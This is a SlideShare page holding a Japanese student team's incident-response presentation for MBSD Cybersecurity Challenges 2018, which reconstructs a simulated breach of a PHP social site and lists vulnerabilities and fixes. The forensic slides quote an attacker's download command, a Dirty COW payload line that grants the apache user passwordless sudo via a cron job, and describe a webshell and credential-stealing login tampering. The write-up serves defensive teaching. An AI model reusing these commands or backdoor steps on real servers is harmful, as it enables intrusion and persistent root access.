Download free for 30 days
Sign in
Upload
Language (EN)
Support
Business
Mobile
Social Media
Marketing
Technology
Art & Photos
Career
Design
Education
Presentations & Public Speaking
Government & Nonprofit
Healthcare
Internet
Law
Leadership & Management
Automotive
Engineering
Software
Recruiting & HR
Retail
Sales
Services
Science
Small Business & Entrepreneurship
Food
Environment
Economy & Finance
Data & Analytics
Investor Relations
Sports
Spiritual
News & Politics
Travel
Self Improvement
Real Estate
Entertainment & Humor
Health & Medicine
Devices & Hardware
Lifestyle
Change Language
Language
English
Español
Português
Français
Deutsche
Cancel
Save
Submit search
EN
Uploaded by
gomafu04
PPTX, PDF
66 views
MBSD Cybersecurity Challenges 2018
Presentation Slide for MBSD2018
Presentations & Public Speaking
◦
Read more
0
Save
Share
Embed
Embed presentation
Download
Download to read offline
1
/ 51
2
/ 51
3
/ 51
4
/ 51
5
/ 51
6
/ 51
7
/ 51
8
/ 51
9
/ 51
10
/ 51
11
/ 51
12
/ 51
13
/ 51
14
/ 51
15
/ 51
16
/ 51
17
/ 51
18
/ 51
19
/ 51
20
/ 51
21
/ 51
22
/ 51
23
/ 51
24
/ 51
25
/ 51
26
/ 51
27
/ 51
28
/ 51
29
/ 51
30
/ 51
31
/ 51
32
/ 51
33
/ 51
34
/ 51
35
/ 51
36
/ 51
37
/ 51
38
/ 51
39
/ 51
40
/ 51
41
/ 51
42
/ 51
43
/ 51
44
/ 51
45
/ 51
46
/ 51
47
/ 51
48
/ 51
49
/ 51
50
/ 51
51
/ 51
More Related Content
PDF
Sec013 その資格情報、簡
by
Tech Summit 2016
PDF
20190208 脆弱性と共生するには
by
OWASP Nagoya
PDF
(A7)cross site scripting
by
OWASP Nagoya
PPTX
20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!
by
OWASP Nagoya
PPTX
Djangoのセキュリティとその実装
by
aki33524
PDF
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
by
Isao Takaesu
PDF
安全なWebアプリ構築1回
by
Project Samurai
PPTX
Owasp top10 HandsOn
by
masafumi masutani
Sec013 その資格情報、簡
by
Tech Summit 2016
20190208 脆弱性と共生するには
by
OWASP Nagoya
(A7)cross site scripting
by
OWASP Nagoya
20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!
by
OWASP Nagoya
Djangoのセキュリティとその実装
by
aki33524
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
by
Isao Takaesu
安全なWebアプリ構築1回
by
Project Samurai
Owasp top10 HandsOn
by
masafumi masutani
What's hot
PPTX
Cyber Kill Chain サイバーキルチェーン
by
shuna roo
PPTX
Pythonを使った簡易診断スクリプトの作り方
by
Yuichi Hattori
PPTX
Webセキュリティの実践のための攻防戦演習について
by
Yuichi Hattori
PDF
FUJITSUファミリ会 2020 秋季大会用プレゼン #2 「伊藤忠商事のサイバーセキュリティ」(プロアクティブディフェンス)
by
Motohiko Sato
PDF
進化するWebトラッキングの話 #ssmjp
by
sonickun
PPTX
これからのWebセキュリティ フロントエンド編 #seccamp
by
Kyo Ago
PDF
0709wordbench新潟
by
真琴 平賀
Cyber Kill Chain サイバーキルチェーン
by
shuna roo
Pythonを使った簡易診断スクリプトの作り方
by
Yuichi Hattori
Webセキュリティの実践のための攻防戦演習について
by
Yuichi Hattori
FUJITSUファミリ会 2020 秋季大会用プレゼン #2 「伊藤忠商事のサイバーセキュリティ」(プロアクティブディフェンス)
by
Motohiko Sato
進化するWebトラッキングの話 #ssmjp
by
sonickun
これからのWebセキュリティ フロントエンド編 #seccamp
by
Kyo Ago
0709wordbench新潟
by
真琴 平賀
Similar to MBSD Cybersecurity Challenges 2018
PDF
hbstudy# 28 SELinux HandsOn 公開版
by
Hiroki Ishikawa
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
PPTX
XSSの評価基準とRIPSプラグイン的なものを作った
by
yamaguchi_2048
PDF
2017年のセキュリティ 傾向と対策講座
by
NHN テコラス株式会社
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
by
Hiroshi Tokumaru
KEY
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
by
Takashi Uemura
PDF
Linuxサーバのセキュリティ対策 part2 - Apache編
by
Kazunori Inaba
PPTX
見つけた脆弱性について(cybozu.com Security Challenge)
by
Masato Kinugawa
PDF
PHPでセキュリティを真面目に考える
by
Takuya Sato
PPTX
CVE-2021-3156 Baron samedit (sudoの脆弱性)
by
Tetsuya Hasegawa
PDF
ウェブセキュリティ
by
Florent Batard
PDF
SELinuxによる攻撃防止の例
by
Hiroki Ishikawa
PDF
MBSD_Cybersecurity_Challenges_2017_最終審査会_発表スライド
by
Yoshinori Hayashi
PPTX
CMSとPerlで遊ぼう
by
Daiki Ichinose
PDF
最低限知っておきたい Webセキュリティーについて@MT関西
by
Masayuki Abe
PDF
セキュリティ・キャンプアワード(2016)発表資料_ハニーポッターへの道
by
junk_coken
hbstudy# 28 SELinux HandsOn 公開版
by
Hiroki Ishikawa
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
XSSの評価基準とRIPSプラグイン的なものを作った
by
yamaguchi_2048
2017年のセキュリティ 傾向と対策講座
by
NHN テコラス株式会社
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
by
Hiroshi Tokumaru
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
by
Takashi Uemura
Linuxサーバのセキュリティ対策 part2 - Apache編
by
Kazunori Inaba
見つけた脆弱性について(cybozu.com Security Challenge)
by
Masato Kinugawa
PHPでセキュリティを真面目に考える
by
Takuya Sato
CVE-2021-3156 Baron samedit (sudoの脆弱性)
by
Tetsuya Hasegawa
ウェブセキュリティ
by
Florent Batard
SELinuxによる攻撃防止の例
by
Hiroki Ishikawa
MBSD_Cybersecurity_Challenges_2017_最終審査会_発表スライド
by
Yoshinori Hayashi
CMSとPerlで遊ぼう
by
Daiki Ichinose
最低限知っておきたい Webセキュリティーについて@MT関西
by
Masayuki Abe
セキュリティ・キャンプアワード(2016)発表資料_ハニーポッターへの道
by
junk_coken
MBSD Cybersecurity Challenges 2018
1.
MBSD Cybersecurity Challenges 2018 [なんでもいい@Aso
/Nihon/Fukuoka]$ 1
2.
アジェンダ 1. チーム紹介 2. 被害の範囲 3.
攻撃に使われた脆弱性と対策 4. 対応方法 5. まとめ 2
3.
チーム紹介 3
4.
チームメンバー ◆中山 怜也(なかやま れいや) ◆河原
慎之介(かわはら しんのすけ) ツールを用いた脆弱性の調査 PHPのソースコード解析 サーバサイド ◆竹﨑 友哉(たけざき ともや) ◆本田 翔太郎(ほんだ しょうたろう) ツールを用いた脆弱性の調査 各種ログ解析 4 プログラムサイド
5.
被害の範囲 5
6.
9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん ・登録されているユーザアカウント情報 (ユーザ
ID、ユーザネーム、性別、生年月日).................8件 ・ユーザの日記..............................................................33件 ・ユーザのメッセージ...................................................21件 攻撃者サーバ サーバ侵入に向けた情報収集 個人情報入手 6
7.
攻撃者サーバ /var/www/html/webmix3/ 内 ・index.php ・login.php ・sendmessage.php ・libs.php ・/class/class.php ・/class/User.php 6件 ソースコードや設定ファイル収集 7 5件 /etc/ 内 ・passwd ・shadow ・hosts ・issue ・/httpd/conf/httpd.conf 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日
root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
8.
攻撃者不正なPHPファイル コマンド su -l 送信 8 ※任意のコマンドを実行するプログラム 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root
権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
9.
攻撃者サーバ 不正なPHPファイルのアップロード 9 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
10.
攻撃者サーバ コマンド送信! 任意のコマンドを用いて サーバ内の操作が可能に!!! ※root 権限は無い 10 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root
権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
11.
攻撃者実行ファイル DirtyCOWの脆弱性 を使用した権限昇格 を行うプログラム 11 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
12.
攻撃者 コマンド curl -O http://xxx 送信 12 サーバ サーバを操作し、 実行ファイルを ダウンロード!!! 不正なPHPファイル 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日
root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
13.
サーバ 昇格!!! 13 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
14.
攻撃者サーバ コマンド送信! root 権限で! 任意のコマンドを用いて サーバ内の操作が可能に!!! 14 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root
権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
15.
攻撃者サーバ 15 SSHログインの設定を行い、 PHPファイルを通さずサーバに 直接侵入可能に! SSHログイン!9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
16.
正規ユーザサーバ 16 利用者IDとPWの送信 tmp/.z 利用者ID・PW 溜まったら、 ダウンロード..!! 攻撃者 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
17.
17 不正なスクリプトを埋め込んだ日記 罠にかかれ...!!! 攻撃者 正規ユーザ 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
18.
18 /var/www/html/webmix3/ 内 ・register.php ・logout.php ・user.php ・changeprofile.php ・userlist.php ・writediary.php ・help.php 2件7件 攻撃者サーバ ソースコードや設定ファイル収集 /etc/
内 ・shadow ・group ・redhat-release 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
19.
19 ・ユーザのパスワード.................................................5件 ・ユーザの日記........................................................14件 ・ユーザのメッセージ.................................................3件 攻撃者サーバ 個人情報入手 tmp/.z 利用者ID・PW 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
20.
攻撃者 バックドア用 PHPファイル 20 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん ※任意のコマンドを実行するプログラム
21.
攻撃者サーバ バックドアのアップロード 21 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
22.
22 攻撃者サーバ トップページ改ざん! 改ざん後トップページ 正規ユーザ 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root
権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
23.
・登録されているユーザアカウント情報 (ユーザ ID、ユーザネーム、性別、生年月日).....................8件 ・ユーザのパスワード..............................................................5件 ・全てのユーザの日記........................................................47件 ・全てのユーザのメッセージ.............................................24件 ◇MBSD SNSサイト内の情報◇ 正規ユーザのほぼ全ての情報が漏洩
23
24.
/var/www/html/webmix3 内 ・index.php ・register.php ・login.php ・logout.php ・user.php ・changeprofile.php ・userlist.php ・sendmessage.php ・writediary.php ・help.php ・libs.php ・/class/class.php ・/class/User.php ◇サーバ内の情報◇ 20件 24 /etc/ 内 ・passwd ・shadow ・hosts ・issue ・group ・redhat-release ・/httpd/conf/httpd.conf ソースコードや設定ファイルが漏洩
25.
攻撃に使われた脆弱性と対策 25
26.
1. MySQLのrootユーザのパスワードが未設定 2. DirtyCOW
の脆弱性 3. userlist.php におけるSQLインジェクション 4. 不正な形式のファイルをアップロード可能 5. readdiary.php におけるXSS 6. phpinfo.php が公開されている 7. 存在するユーザにアクセスしようとするとForbidenが表示される 8. 他人の日記を書き換えることが可能 9. readdiary.php のセマンティックURL攻撃に対する脆弱性 10. sendmessage.php のメッセージ送信の宛先に関する問題 11. user.php のセマンティックURL攻撃に対する脆弱性 12. 各画面のcsrfの脆弱性 攻撃者に発見された脆弱性リスト [ 8.2 ] [ 7.8 ] [ 7.5 ] [ 6.4 ] [ 6.1 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 4.3 ] CVSS v3 評価 (基本評価基準) 26
27.
侵入に利用された脆弱性リスト CVSS v3
評価 (基本評価基準) 27 1. MySQLのrootユーザのパスワードが未設定 2. DirtyCOW の脆弱性 3. userlist.php におけるSQLインジェクション 4. 不正な形式のファイルをアップロード可能 5. readdiary.php におけるXSS 6. phpinfo.php が公開されている 7. 存在するユーザにアクセスしようとするとForbidenが表示される 8. 他人の日記を書き換えることが可能 9. readdiary.php のセマンティックURL攻撃に対する脆弱性 10. sendmessage.php のメッセージ送信の宛先に関する問題 11. user.php のセマンティックURL攻撃に対する脆弱性 12. 各画面のcsrfの脆弱性 [ 8.2 ] [ 7.8 ] [ 7.5 ] [ 6.4 ] [ 6.1 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 4.3 ]
28.
侵入に利用された脆弱性リスト CVSS v3
評価 (基本評価基準) 28 [ 8.2 ] [ 7.8 ] [ 7.5 ] [ 6.4 ] [ 6.1 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 4.3 ] 1. MySQLのrootユーザのパスワードが未設定 2. DirtyCOW の脆弱性 3. userlist.php におけるSQLインジェクション 4. 不正な形式のファイルをアップロード可能 5. readdiary.php におけるXSS 6. phpinfo.php が公開されている 7. 存在するユーザにアクセスしようとするとForbidenが表示される 8. 他人の日記を書き換えることが可能 9. readdiary.php のセマンティックURL攻撃に対する脆弱性 10. sendmessage.php のメッセージ送信の宛先に関する問題 11. user.php のセマンティックURL攻撃に対する脆弱性 12. 各画面のcsrfの脆弱性
29.
不正な形式の ファイルをアップロード可能 29
30.
不正な形式のファイルをアップロード可能 ・本来の仕様では、ファイル名の末尾が「.jpg」以外はアップロードできない ・不正な場合エラー画面が表示されるが、ファイルはアップロードされてしまう ※ メッセージ送信画面 ※ メッセージ送信後画面
30
31.
不正な形式のファイルをアップロード可能 31
32.
流れ図(sendmessage) move_uploaded_file( $_FILES[‘file’][‘tmp_name’],”./tmp/”.$tname) && preg_match(“/^[^.]+¥.jpg$/”,$tname)) ファイルを”./tmp/”にアップロード し、成功しているか && ファイル名の末尾が ”.jpg” であるか Sendmessage.php の19行目 32
33.
preg_match("/^[^.]+¥.jpg $/",$tname) move_uploaded_file( $_FILES[‘file’][‘tmp_name’],”./t mp/”.$tname) 流れ図 ファイルを ”./tmp/” にアップ ロードし、成功しているか ファイル名の末尾が ”.jpg”
であるか hoge.php 33
34.
Dirty COW の
脆弱性 34
35.
Dirty COW とは ・約2年前に公開(CVE-2016-5195) ・Linuxカーネルに起因する脆弱性 ・一般ユーザがシステム上で権限昇格可能に 35
36.
/tmp/.aについて [root@sns tmp]# strings
.a | tail -n2 /etc/cron.hourly/0anacron echo 'apache ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/a これによってなんでもできてしまうユーザに -bash-4.1$ echo $USER apache -bash-4.1$ sudo whoami root 36
37.
/tmp/.aについて [root@sns tmp]# cat
/etc/cron.hourly/0anacron #!/bin/bash echo 'apache ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/a /etc/cron.hourlyフォルダとは 一時間毎に実行される自動タスクを配置 37
38.
対策:Dirty COW について カーネルのアップデート #
yum update kernel # reboot # uname -r 2.6.32-754.6.3.el6.i686 38
39.
対策:/tmp/.aについて カーネルアップデート後に、権限昇格用プログラム/tmp/.aを実行 権限昇格が行われなくなった! 39
40.
対応方法 40
41.
まず謝罪しましょう! 41
42.
Webアプリケーション(webmix3)サイド 対処内容 理由 ファイル「webmix3/tmp/.5a566099006d3b60892fb0 91dac8d1bfwebshell.php 」の消去 攻撃者が仕込んだ「バックドア」のファイル。 Webサーバへ命令を送信し、実行させられる。 ファイル「webmix3/tmp/.z」の消去
利用者ID・パスワードを搾取するためのファイル。 webmix3/tmp 配下に不正にアップロードされたファイルの消 去 攻撃者が調査のため、脆弱性を用いて保存させたファイル。 phpinfo.phpの消去 サーバの設定情報などを攻撃者に与えてしまうファイル。 login.phpの改ざん箇所の消去 利用者ID・パスワードを搾取するため改ざんされたソースコード。 index.htmlの消去 攻撃者が改ざんしたトップページのファイル。 バックアップからindex.phpの復旧 改ざんされたトップページの復旧。 脆弱性リストにて記載した脆弱性への対策 再度同じ攻撃を行なわれないための対策。 暫定的な対処 - サービス再開に向けて 1 42
43.
暫定的な対処 - サービス再開に向けて
2 サーバサイド 対処内容 理由 MySQLサーバ内のrootユーザに対してパスワードを設定 万が一、攻撃者がMySQLに接続できてしまった場合、容易にrootでアク セスされ、MySQL上で可能なことは何でもできてしまう。 MySQLデータベースのuserテーブル内で、root@%のレコ ードを削除 運用に不要な権限はできるだけ減らしたほうが良い。 ファイアウォール(iptables)の設定変更 運用に不要なポートが開いている場合、標的にされやすくなってしまう。 /tmp/.aファイルを削除 攻撃者が使用した権限昇格用のプログラム。 MySQLのテーブルに登録された、不正な情報を含む行の削 除 XSS等で不正に登録されてしまったもの。 HTTPアクセスをHTTPSにリダイレクトする HTTP通信では平文でデータを送信するので、IDとパスワード等のログイ ン情報が盗聴されてしまう可能性があるため。 カーネルのアップデート 現在では脆弱性のある古いカーネルを使用しているため。 43
44.
恒久的な対策 構成面 対処内容 理由 WAFの導入 継続的に、高いレベルのセキュリティを実現できる。 IPSの導入 セキュリティソリューションサービスの利用 運用面 OSやソフトのバージョン管理 攻撃に使用される脆弱性を減らすことができる。 セキュリティ監査の定期的な実施
運用方法の問題や、ソースコードの脆弱性を発見できる。 定期的にシステム全体の改ざんの有無を調査 改ざんの被害にあった場合でも、被害の拡大を防止できる。 ログ監視の強化 攻撃による致命的な問題の発生前に、対処することができる。 従業員へのセキュリティ教育の徹底 ルールを定め、遵守させるためにセキュリティ意識の向上。 44 MBSDさんのサービスを利用する
45.
まとめ 45
46.
被害を発生・拡大させた原因 ● 運営のセキュリティ意識の低さ ● 運営の攻撃発見の遅さ ●
phpinfo();関数があるPHPファイルを見ることができた ● MySQLのroot設定が脆弱 ○ MySQLサーバ内のrootユーザに対してパスワードが設定されていない ○ MySQLデータベースのuserテーブル内で、root@%のレコードが存在する ● ソースコードが脆弱すぎる ● システムのバージョンが古すぎる ○ CentOS 6のサポートは2020年11月終了 46
47.
被害を発生・拡大させた原因 運営のセキュリティ意識の低さ 47
48.
ログ監視の強化について 48
49.
工夫した点 ・まずシステムの機能を把握し、調査を行った ・情報をGETやPOSTで渡している箇所を重点的に調査 ・サーバサイドと連携し、ログを元に、攻撃されたと思われる箇所を調査した サーバサイド ・サーバにインストールされているソフトのバージョンをリスト化 →CVE Detailsを用いて脆弱性をリスト化 ・使い慣れたExcelを用いて詳細にログを分析 →httpdやsecure、MySQL等のログ情報をまとめ、タイムラインを作成 データベース内の情報等、様々な情報を突合せながら分析 49 プログラムサイド
50.
使用したツール ログ解析 Excel 自作したJavaプログラム ヘッダの改ざん burpsuite sqlインジェクション、データベース搾取 sqlmap 脆弱性診断ツール nessus vuls open-vas ウェブサイト診断 skipfish nikto ソフトウェア脆弱性データベース CVE Details EXPLOIT DATABASE エクスプロイトキット Metasploit ポートスキャン nmap SPARTA 静的脆弱性検査ツール PHP
RIPS 共通脆弱性評価システム ファイル転送 WinSCP ネットワーク・アナライザ・ソフトウェア WireShark 50
51.
Thank you for
listening!! 51
Editor's Notes
#5
今回私たちは、プログラムサイドとサーバサイド、それぞれから調査を進めました。 プログラムサイドの調査は中山、河原が担当し、 サーバサイドの調査は竹崎と、わたくし本田が担当しました。 では、
#6
今回の被害範囲について、時系列に沿って説明をしていきます。
#7
まず19日、(脆弱性検査)による情報漏洩が発生しました。 攻撃者がウェブサーバ侵入のためにNmapやNikto、phpinfoなどで情報収集を行いました。 加えて、sqlmapを用いたSQLインジェクション攻撃によりこれらが漏洩しました。
#8
次に、21日、(ソースコード等)の情報が漏洩しました。 ここでは、攻撃者によってMySQLサーバ内への侵入が行われ、これらの情報も漏洩してしまいました。ここまでは準備段階です。
#9
そして、いよいよ攻撃者は、ウェブサーバへの侵入に使用する不正なPHPプログラムの作成を行い始めました。現在そのファイルは残っていませんが、その後のアクセスログから、このプログラムでは任意のコマンドを実行できると考えました。
#10
次に攻撃者は、作成したPHPファイルをメッセージ送信画面に内在する脆弱性を利用してサーバにアップロードします。
#11
その後、攻撃者はアップロードしたPHPファイルへアクセスすることに成功し、サーバ内へ侵入することに成功します。ただし、この時点では root 権限がないため、攻撃者はこれから root 権限への昇格に向け行動することになります。
#12
攻撃者はまず、後述するDirty COWと呼ばれる脆弱性を利用した権限昇格を行うプログラムを作成しました。
#13
そして、先ほどアップロードされたPHPファイルを使用し、サーバ自身がファイルをダウンロードするという形でサーバ内へ権限昇格プログラムを設置しました。
#14
そして、サーバ上でプログラムが動き、root 権限への昇格に成功します。
#15
これにより、攻撃者は root 権限で!任意のコマンドを実行できるようになりました。
#16
その後攻撃者は、SSHログインのための設定を行い、直接サーバへ侵入します。
#17
SSHログインした攻撃者は、正規ユーザのパスワードを収集する目的でログインページを改ざんしました。これによって、見た目は変わりないですが、正規ユーザがログインを行った際、.zという隠しファイルにIDとパスワードが保存されてしまうようになります。このファイルを攻撃者がダウンロードすることで、パスワードが漏洩してしまいます。
#18
さらに攻撃者は、正規ユーザの日記を、不正なスクリプトを埋め込んだ日記に改ざんしました。この日記を他ユーザが閲覧すると、閲覧したユーザ自身にも同じ内容の日記が勝手に投稿され、ユーザ間で次第に拡散されていくクロスサイトスクリプティング攻撃になっています。加えて日記の中にはとあるリンクが1つ貼られており、それを踏むことでさらなる被害に繋がっていた可能性もありました。
#19
この再びこれらの情報が漏洩しました。
#20
さらには、ユーザの日記やメッセージと併せて先ほどのログインページ改ざんで出てきた.zというユーザのidとパスワードが格納されたファイルがダウンロードされてしまいパスワードも漏洩してしまいました。
#21
攻撃者は、バックドア用に新たなPHPファイルを作成します。このファイルでも初めにあったファイルと同様に任意のコマンドを実行できる仕組みになっています。
#22
そのバックドアを、メッセージ送信フォームを利用した同様のやり方でサーバへアップロードしました。
#23
その後、攻撃者はトップページを改ざんし、これによりシステムが停止してしまいました。
#24
以上、被害範囲と併せて大まかな流れをご説明しましたが、漏洩した情報をまとめると次のようになります。 流出した情報の概要(MBSD SNSサイト内) 正規ユーザのほぼすべての情報が漏洩してしまっています。
#25
加えてサーバ内の重要なファイルも多数漏洩する事態となりました。 以上が、今回発生した被害の範囲と、時系列になります。 それでは次に、
#26
今お伝えした被害の発生原因となる脆弱性と、その対策方法について、話していきたいと思います。
#28
このうち、最も重大かつ致命的な脆弱性であると私達のチームが考えた、
#29
このうち、最も重大かつ致命的な脆弱性であると私達のチームが考えた、
#30
ではまず、不正なファイルをアップロード可能、についてです。
#31
本来では、jpg形式以外のファイルはアップロードができず、エラーとなりますが、 phpファイル等のjpg形式以外のファイルを送信した場合、 エラー画面が表示されるものの、実際にはサーバ上にアップロードされてしまう。 という脆弱性があります。
#32
このように、PHPファイルのアップロードが行われてしまっていることが確認できました。
#33
そして、こちらが問題となる箇所のソースコードを流れ図にしたものなります。 これでは分かりにくいため、日本語に変換します。 ここで問題となるのが、赤文字の条件です。 1つの分岐内で、ファイル名のチェックと同時に画像のアップロードの成否判定を行っているため、形式が違う場合でもファイルのアップロードが行われてしまいます。 この脆弱性により攻撃者に今回、不正なプログラムをアップロードされてしまいました。 この脆弱性の解決方法は、
#34
同時に行ってしまっている2つの条件を分割し、先にファイル名の末尾のチェックを行うことで、jpg形式以外のファイルを弾くことが可能になります。 それでは次に、
#35
2点目の脆弱性である、DirtyCOWについて、説明してまいります。
#36
Dirty COWとは、約2年前に公開されたLinuxカーネルの脆弱性で、システム上で自らの権限を昇格させることが出来るという危険な脆弱性です。
#37
/tmp/.aファイ調査で、攻撃者によって tmp 配下に .a というファイルが埋め込まれていることが判明しました。 そのファイルはELFの実行ファイルであり、apatchユーザがsudoコマンドの実行可能にする文が確認できました。 ルにバイナリファイルの可読部分を表示するstringsコマンドを使用し解析を試みたところ上記のapacheユーザがsudoコマンドの実行を可能にする文を確認することができた。
#38
実際にcron.hourlyフォルダを確認すると、apacheユーザがパスワードなしにsudoコマンドの実行を可能にする設定が埋め込まれていました。
#39
この脆弱性は、古いバージョンのカーネルを使用していることが原因なので、 対策は、カーネルをアップデートする事です。
#40
実際に、アップデート後に再度、.a ファイルを実行したところ、 このように、権限の昇格が行われなくなった事が確認できました。
#41
それでは次に、今回の被害への対応について話させていただきます。 今回のインシデントでは攻撃者から攻撃が行われ、複数の被害が発生しました。 これからまず、何をすべきか。
#42
最も大切なことは、「まず謝ってください」 利用者は突然サイトが改ざんされ、不安に感じていることでしょう。 ですので、まずは、謝罪と状況の説明、今後の方針 などの掲載を行ってください。 次に、サービスの再開に向けて、 必須な暫定的な対処について説明いたします。
#43
ではまずは、Webアプリケーションサイドの対処です。 主に、不正にアップロードされたファイルを削除することと、今回攻撃に使われた脆弱性への対策です。
#44
では次に、サーバサイドでの対処です。 こちらは、主に脆弱な設定であるものを変更する内容となっております。 以上がサービス再開に向けての暫定的な対処となります。
#45
次に、恒久的に行なっていくべき対策について、お話しいたします。 WAFやIPS、セキュリティーソリューソンサービスなどを活用することで、継続的に高いセキュリティを実現することが可能となります。 また、OSやソフトのバージョンの管理や、その脆弱性の調査、ログ監視、従業員のセキュリティ教育を行っていくことも必要となります。
#47
今回の被害を発生・拡大させた原因はなんだったのか。 今画面に表示しているように様々な原因が考えられました。 一番の原因は
#48
「運営のセキュリティ意識の低さ」であると私達のチームは結論づけました。 まず、今回のシステムに「脆弱性が存在する」と指摘を受けていたのにも関わらず、そのままサービスを開始した、ということが、そもそも問題の根源です。 もしその時点で、きちんと脆弱性への対処が行われて入れば、今回のインシデントは発生しなかったはずです。 これらの点から、セキュリティ意識が全体的に不足していたと考えられます。
#49
また、問題点の一つとして、ログの監視も挙げられます。 これも、今回のインシデントにおいて、運用面で非常に大きな問題の一つであったと、私たちは考えています。 今回の攻撃は19日から開始されていました。 しかし、実際に攻撃されていることに気がついたのは10月1日でした。 この間、12日間もあります。 もし、早い段階で攻撃を察知できていれば、 利用者IDとパスワードの流出や、ホームページの改ざんなどの攻撃を防ぐことも可能だったと、私たちは考えています。 システムやログの監視者を配置するなどして、常に攻撃の早期発見が可能な運用をすることが大切です。
#50
工夫した点については、この様になっております。 主に、優先して調査する箇所の限定と、調査するログ等の情報の整理に使用しました。
#51
では最後に、私たちが今回の調査で工夫した点、使用したツールなどの一覧を紹介してまいります。 こちらが使用したツールは今表示しているものになっております。
Download